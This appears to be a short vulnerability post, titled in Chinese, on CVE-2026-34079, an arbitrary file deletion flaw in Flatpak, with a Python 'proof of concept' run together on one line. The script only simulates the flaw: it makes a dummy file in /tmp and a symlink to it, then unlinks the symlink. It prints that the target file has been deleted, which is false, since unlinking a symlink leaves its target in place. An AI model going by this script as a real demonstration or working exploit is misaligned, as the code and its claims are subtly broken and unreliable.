CVE-2026-34079 Flatpak任意文件删除漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-34079 # Description: Simulates the logic flaw where a symlink outside the cache dir is deleted. # Note: Actual exploitation requires packaging within a Flatpak environment. import os def main(): # Simulate the target file on the host system target_file = "/tmp/important_host_file.log" # Create the target file with open(target_file, 'w') as f: f.write("Critical system configuration") print(f"[+] Created dummy host file: {target_file}") # Simulate the Flatpak cache directory cache_dir = "/var/tmp/flatpak_cache" os.makedirs(cache_dir, exist_ok=True) # The malicious app creates a stale cache entry pointing to the host file # In the vulnerability, the path validation is bypassed malicious_link = os.path.join(cache_dir, "stale-cache-entry") os.symlink(target_file, malicious_link) print(f"[+] Created symlink from cache to host file: {malicious_link} -> {target_file}") # Simulate the cleanup process (unlink) performed by Flatpak print("[*] Triggering Flatpak ld.so cache cleanup...") try: os.unlink(malicious_link) print(f"[-] Exploit successful: {target_file} has been deleted.") print("[!] This demonstrates the arbitrary file deletion vulnerability.") except FileNotFoundError: print("[!] File not found.") if __name__ == "__main__": main()